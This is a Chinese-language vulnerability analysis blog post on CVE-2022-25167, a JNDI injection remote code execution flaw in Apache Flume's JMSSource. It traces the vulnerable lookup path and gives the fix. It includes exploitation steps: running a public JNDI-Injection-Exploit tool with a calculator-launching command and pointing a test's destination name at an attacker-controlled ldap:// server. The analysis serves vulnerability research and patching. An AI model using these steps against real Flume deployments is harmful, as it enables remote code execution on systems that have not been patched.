龙空技术网

开源漏洞深度分析|CVE-2022-25167 JNDI命令执行漏洞

棱镜七彩7cai 166

前言:

现在我们对“idea配置jndi”大概比较珍视,我们都想要分析一些“idea配置jndi”的相关文章。那么小编在网上网罗了一些关于“idea配置jndi””的相关知识,希望各位老铁们能喜欢,小伙伴们快快来学习一下吧!

项目介绍

Flume 是一种分布式、可靠且可用的服务,用于高效收集、聚合和移动大量日志数据。它具有基于流数据流的简单灵活的架构。它具有可调整的可靠性机制以及许多故障转移和恢复机制,具有健壮性和容错性。它使用允许在线分析应用程序的简单可扩展数据模型。

项目地址

漏洞概述

当攻击者控制目标 LDAP 服务器时,如果配置使用带有 JNDI LDAP 数据源 URI 的 JMS 源,Apache Flume 版本 1.4.0 到 1.9.0 很容易受到 RCE 攻击[1]

影响版本

Apache Flume 1.4.0 - 1.9.0

环境搭建

下载部署即可

漏洞复现

该漏洞需要使用 JNDI工具辅助复现,可使用 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 工具。

工具链接:

命令如下所示:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open -a calculator"

终端开启监听,搭建 Flume 项目以 jdk1.8 环境运行 TestIntegrationActiveMQ 测试类即可

漏洞分析

查询官网披露信息可知,是由于 JMSSource 类没有进行验证,导致用户传入的数据被反序列化

搭建运行,idea默认生成的 Junit Application 并不能正常运行;先静态分析看一下

按照思路 diff 发现 JMSSource 1.10.0 在 doConfigure 中新增了调用 assertTure 的 uri 校验;转头去找 lookup

定位代码,connectionFactory 调用了 initialContext.lookup

看一下 lookup 的调用方法,传进 InitialContext#getURLOrDefaultInitCtx

lookup 拿到 name ,getURLScheme匹配 :和 /;之后获取链接内容,getURLContext 解释包含样例

For example, if the scheme id is "ldap", and the Context. URL_PKG_PREFIXES property contains "com.widget:com.wiz. jndi", the naming manager would attempt to load the following classes until one is successfully instantiated:

· com.widget.ldap.ldapURLContextFactory

· com.wiz.jndi.ldap.ldapURLContextFactory

· com.sun.jndi.url.ldap.ldapURLContextFactory

基本确定了,接下来尝试漏洞利用

context.put(JMSSourceConfiguration.DESTINATION_NAME,

JNDI_PREFIX + DESTINATION_NAME);

项目未提供可将恶意参数传入漏洞触发位置的web界面或api,为了快速进行漏洞分析我们使用官方提供的测试类TestIntegrationActiveMQ, 可以使用该测试类进行漏洞复现与利用

可控参数传入位置在该类的 testQueueLocatedWithJndi 函数,里面只有上述两个 context.put;DESTINATION_NAME即为我们的入口点,name参数正是来自 DESTINATION_NAME ,因此需要在 TestIntegrationActiveMQ 中设置 DESTINATION_NAME 为 ldap 的链接;且需要更改 JNDI_PREFIX 为 ldap

converterClassName is :

org.apache.flume.source.jms.DefaultJMSMessageConverter$Builder

destinationName+dynamicQueues/+test

destinationLocator+JNDI

按照这个尝试修改代码

TestIntegrationActiveMQ 中修改 DESTINATION_NAME 和 JNDI_PREFIX

运行测试发现 testQueueLocatedWithJndi 读入的 信息变成了 ldap://xxxxx:1389/h3puak 且 testQueueLocatedWithJndi 测试报错

context.put 变成

destinationName+ldap://+xxxxxx:1389/h3puak

destinationLocator+JNDI

按照漏洞复现步骤运行工具

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open -a calculator"

获取到 destinationName:ldap://x.x.x.x:1389/gttkny

收到 ldap了但没执行命令;idea项目Java版本换成 1.8 即可

修复方式

升级到 1.10.0 版本或按照 commite:dafb26ccb172141c6e14e95447e1b6ae38e9a7d0 修复相关代码

参考链接

[1]

[2]

[3]

[4]

标签: #idea配置jndi